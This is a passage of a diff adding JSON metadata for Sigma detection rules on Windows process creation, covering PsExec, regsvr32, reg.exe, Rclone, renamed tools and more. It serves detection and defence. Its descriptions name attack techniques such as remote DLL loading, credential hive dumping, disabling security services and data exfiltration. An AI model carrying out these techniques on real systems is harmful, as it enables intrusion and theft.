"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexec_eula.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "attack.t1021" + ], + "creation_date": "2020/10/30", + "filename": "proc_creation_win_susp_psexec_eula.yml", + "author": "omkar72", + "level": "medium", + "falsepositive": [ + "Administrative scripts." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution", + "uuid": "fdfcbd78-48f1-4a4b-90ac-d82241e368c5", + "value": "PsExec Service Execution", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/21", + "filename": "proc_creation_win_susp_psexesvc.yml", + "author": "Romaissa Adjailia, FLorian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)", + "uuid": "7c0dcd3d-acf8-4f71-9570-f448b0034f94", + "value": "PsExec Service Execution as LOCAL SYSTEM", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_as_system.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/21", + "filename": "proc_creation_win_susp_psexesvc_as_system.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators", + "uuid": "51ae86a2-e2e1-4097-ad85-c46cb6851de4", + "value": "Renamed PsExec Service Execution", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_renamed.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/21", + "filename": "proc_creation_win_susp_psexesvc_renamed.yml", + "author": "FLorian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights", + "uuid": "8834e2f7-6b4b-4f09-8906-d2276470ee23", + "value": "PsExec/PAExec Escalation to LOCAL SYSTEM", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.poweradmin.com/paexec/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_escalate_system.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2021/11/23", + "filename": "proc_creation_win_susp_psexex_paexec_escalate_system.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious flags used by PsExec and PAExec but no usual program name in command line", + "uuid": "207b0396-3689-42d9-8399-4222658efc99", + "value": "PsExec/PAExec Flags", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.poweradmin.com/paexec/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_flags.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2021/05/22", + "filename": "proc_creation_win_susp_psexex_paexec_flags.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Weird admins that rename their tools", + "Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Threat actors can use the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery.", + "uuid": "aae1243f-d8af-40d8-ab20-33fc6d0c55bc", + "value": "Suspicious Use of PsLogList", + "meta": { + "refs": [ + "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psloglist.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087", + "attack.t1087.001", + "attack.t1087.002" + ], + "creation_date": "2021/12/18", + "filename": "proc_creation_win_susp_psloglist.yml", + "author": "Nasreddine Bencherchali @nas_bench", + "level": "medium", + "falsepositive": [ + "Another tool that uses the command line switches of PsLogList", + "Legitimate use of PsLogList by an administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The psr.exe captures desktop screenshots and saves them on the local machine", + "uuid": "2158f96f-43c2-43cb-952a-ab4580f32382", + "value": "Psr.exe Capture Screenshots", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Psr/", + "https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psr_capture_screenshots.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2019/10/12", + "filename": "proc_creation_win_susp_psr_capture_screenshots.yml", + "author": "Beyu Denis, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder", + "uuid": "ac175779-025a-4f12-98b0-acdaeb77ea85", + "value": "PowerShell Script Run in AppData", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/1082851155481288706", + "https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/09", + "filename": "proc_creation_win_susp_ps_appdata.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line", + "uuid": "8f70ac5f-1f6f-4f8e-b454-db19561216c5", + "value": "PowerShell DownloadFile", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_downloadfile.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1104", + "attack.t1105" + ], + "creation_date": "2020/08/28", + "filename": "proc_creation_win_susp_ps_downloadfile.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines", + "uuid": "8d01b53f-456f-48ee-90f6-bc28e67d4e35", + "value": "Suspicious PowerShell Obfuscated PowerShell Code", + "meta": { + "refs": [ + "https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_encoded_obfusc.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/11", + "filename": "proc_creation_win_susp_ps_encoded_obfusc.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use Radmin Viewer Utility to remotely control Windows device", + "uuid": "5817e76f-4804-41e6-8f1d-5fa0b3ecae2d", + "value": "Use Radmin Viewer Utility", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md", + "https://www.radmin.fr/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_radmin.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1072" + ], + "creation_date": "2022/01/22", + "filename": "proc_creation_win_susp_radmin.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.", + "uuid": "faa48cae-6b25-4f00-a094-08947fef582f", + "value": "Rar Usage with Password and Compression Level", + "meta": { + "refs": [ + "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", + "https://ss64.com/bash/rar.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rar_flags.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2020/05/12", + "filename": "proc_creation_win_susp_rar_flags.yml", + "author": "@ROxPinTeddy", + "level": "high", + "falsepositive": [ + "Legitimate use of Winrar command line version", + "Other command line tools, that use these flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process related to rasdial.exe", + "uuid": "6bba49bf-7f8c-47d6-a1bb-6b4dece4640e", + "value": "Suspicious RASdial Activity", + "meta": { + "refs": [ + "https://twitter.com/subTee/status/891298217907830785", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rasdial_activity.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_rasdial_activity.yml", + "author": "juju4", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM", + "uuid": "a4eaf250-7dc1-4842-862a-5e71cd59a167", + "value": "Suspicious RazerInstaller Explorer Subprocess", + "meta": { + "refs": [ + "https://twitter.com/j0nh4t/status/1429049506021138437", + "https://streamable.com/q2dsji", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_razorinstaller_explorer.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1553" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_susp_razorinstaller_explorer.yml", + "author": "Florian Roth, Maxime Thiebaut", + "level": "high", + "falsepositive": [ + "User selecting a different installation folder (check for other sub processes of this explorer.exe process)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc", + "uuid": "e37db05d-d1f9-49c8-b464-cee1a4b11638", + "value": "Rclone Execution via Command Line or PowerShell", + "meta": { + "refs": [ + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", + "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone", + "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rclone_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2021/05/10", + "filename": "proc_creation_win_susp_rclone_execution.yml", + "author": "Bhabesh Raj, Sittikorn S, Aaron Greetham (@beardofbinary) - NCC Group", + "level": "high", + "falsepositive": [ + "Legitimate RClone use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", + "uuid": "aa2efee7-34dd-446e-8a37-40790a66efd7", + "value": "Recon Information for Export with Command Prompt", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119" + ], + "creation_date": "2021/07/30", + "filename": "proc_creation_win_susp_recon.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a set of suspicious network related commands often used in recon stages", + "uuid": "e6313acd-208c-44fc-a0ff-db85d572e90e", + "value": "Network Reconnaissance Activity", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon_network_activity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087", + "attack.t1082", + "car.2016-03-001" + ], + "creation_date": "2022/02/07", + "filename": "proc_creation_win_susp_recon_network_activity.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe", + "uuid": "883835a7-df45-43e4-bf1d-4268768afda4", + "value": "Regedit as Trusted Installer", + "meta": { + "refs": [ + "https://twitter.com/1kwpeter/status/1397816101455765504", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regedit_trustedinstaller.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2021/05/27", + "filename": "proc_creation_win_susp_regedit_trustedinstaller.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using register-cimprovider.exe to execute arbitrary dll file.", + "uuid": "a2910908-e86f-4687-aeba-76a5f996e652", + "value": "DLL Execution Via Register-cimprovider.exe", + "meta": { + "refs": [ + "https://twitter.com/PhilipTsukerman/status/992021361106268161", + "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_susp_register_cimprovider.yml", + "author": "Ivan Dyachkov, Yulia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the registration of a VSS/VDS Provider as a COM+ application.", + "uuid": "28c8f68b-098d-45af-8d43-8089f3e35403", + "value": "Suspicious Registration via cscript.exe", + "meta": { + "refs": [ + "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", + "https://ss64.com/vb/cscript.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_registration_via_cscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/11/05", + "filename": "proc_creation_win_susp_registration_via_cscript.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects various anomalies in relation to regsvr32.exe", + "uuid": "8e2b24c9-4add-46a0-b4bb-0057b4e6187d", + "value": "Regsvr32 Anomaly", + "meta": { + "refs": [ + "https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_anomalies.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010", + "car.2019-04-002", + "car.2019-04-003" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_regsvr32_anomalies.yml", + "author": "Florian Roth, oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a flag anomaly in which regsvr32.exe uses a /i flag without using a /n flag at the same time", + "uuid": "b236190c-1c61-41e9-84b3-3fe03f6d76b0", + "value": "Regsvr32 Flags Anomaly", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1282441816986484737?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_flags_anomaly.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/07/13", + "filename": "proc_creation_win_susp_regsvr32_flags_anomaly.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a certain command line flag combination used by regsvr32 when used to download and register a DLL from a remote address which uses HTTP (not HTTPS) and a IP address and not FQDN", + "uuid": "2dd2c217-bf68-437a-b57c-fe9fd01d5de8", + "value": "Suspicious Regsvr32 HTTP IP Pattern", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1461041276514623491c19-ps", + "https://twitter.com/tccontre18/status/1480950986650832903", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_http_pattern.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_susp_regsvr32_http_pattern.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "FQDNs that start with a number" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of REGSVR32.exe with DLL masquerading as image files", + "uuid": "089fc3d2-71e8-4763-a8a5-c97fbb0a403e", + "value": "Suspicious Regsvr32 Execution With Image Extension", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://guides.lib.umich.edu/c.php?g=282942&p=1885348", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2021/11/29", + "filename": "proc_creation_win_susp_regsvr32_image.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a regsvr.exe execution that doesn't contain a DLL in the command line", + "uuid": "50919691-7302-437f-8e10-1fe088afa145", + "value": "Regsvr32 Command Line Without DLL", + "meta": { + "refs": [ + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_no_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574", + "attack.execution" + ], + "creation_date": "2019/07/17", + "filename": "proc_creation_win_susp_regsvr32_no_dll.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects REGSVR32.exe to execute DLL hosted on remote shares", + "uuid": "88a87a10-384b-4ad7-8871-2f9bf9259ce5", + "value": "Suspicious Regsvr32 Execution From Remote Share", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_remote_share.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2022/10/31", + "filename": "proc_creation_win_susp_regsvr32_remote_share.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects \"regsvr32.exe\" spawning \"explorer.exe\", which is very uncommon.", + "uuid": "6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca", + "value": "Regsvr32 Spawning Explorer", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-april-2022/", + "https://www.echotrail.io/insights/search/regsvr32.exe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_spawn_explorer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2022/05/05", + "filename": "proc_creation_win_susp_regsvr32_spawn_explorer.yml", + "author": "elhoim", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys", + "uuid": "b7e2a8d4-74bb-4b78-adc9-3f92af2d4829", + "value": "Reg Add Suspicious Paths", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_add.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112", + "attack.t1562.001" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_susp_reg_add.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate add to registry via cli (to these locations)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious addition to BitLocker related registry keys via the reg.exe utility", + "uuid": "0e0255bf-2548-47b8-9582-c0955c9283f5", + "value": "Suspicious Reg Add BitLocker", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_bitlocker.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2021/11/15", + "filename": "proc_creation_win_susp_reg_bitlocker.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious reg.exe invocation that looks as if it would disable an important security service", + "uuid": "5e95028c-5229-4214-afae-d653d573d0ec", + "value": "Reg Disable Security Service", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/1415295021041979392", + "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1", + "https://vms.drweb.fr/virus/?i=24144899", + "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_disable_sec_services.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/14", + "filename": "proc_creation_win_susp_reg_disable_sec_services.yml", + "author": "Florian Roth, John Lambert (idea), elhoim", + "level": "high", + "falsepositive": [ + "Unknown", + "Other security solution installers" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key", + "uuid": "dd3ee8cc-f751-41c9-ba53-5a32ed47e563", + "value": "Suspicious Reg Add Open Command", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_open_command.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_susp_reg_open_command.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", + "uuid": "df55196f-f105-44d3-a675-e9dfb6cc2f2b", + "value": "Renamed AdFind Detection", + "meta": { + "refs": [ + "https://www.joeware.net/freetools/tools/adfind/", + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_adfind.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.002" + ], + "creation_date": "2022/08/21", + "filename": "proc_creation_win_susp_renamed_adfind.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory", + "uuid": "1a1ed54a-2ba4-4221-94d5-01dee560d71e", + "value": "Renamed CreateDump Process Dump", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://twitter.com/bopin2020/status/1366400799199272960", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_createdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/09/20", + "filename": "proc_creation_win_susp_renamed_createdump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Command lines that use the same flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation", + "uuid": "340a090b-c4e9-412e-bb36-b4b16fe96f9b", + "value": "Renamed ZOHO Dctask64", + "meta": { + "refs": [ + "https://twitter.com/gN3mes1s/status/1222088214581825540", + "https://twitter.com/gN3mes1s/status/1222095963789111296", + "https://twitter.com/gN3mes1s/status/1222095371175911424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_dctask64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1055.001", + "attack.t1202", + "attack.t1218" + ], + "creation_date": "2020/01/28", + "filename": "proc_creation_win_susp_renamed_dctask64.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown yet" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious renamed SysInternals DebugView execution", + "uuid": "cd764533-2e07-40d6-a718-cfeec7f2da7f", + "value": "Renamed SysInternals Debug View", + "meta": { + "refs": [ + "https://www.epicturla.com/blog/sysinturla", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_debugview.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2020/05/28", + "filename": "proc_creation_win_susp_renamed_debugview.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed version of PAExec. Often used by attackers", + "uuid": "c4e49831-1496-40cf-8ce1-b53f942b02f9", + "value": "Renamed PAExec", + "meta": { + "refs": [ + "https://www.poweradmin.com/paexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_paexec.yml" 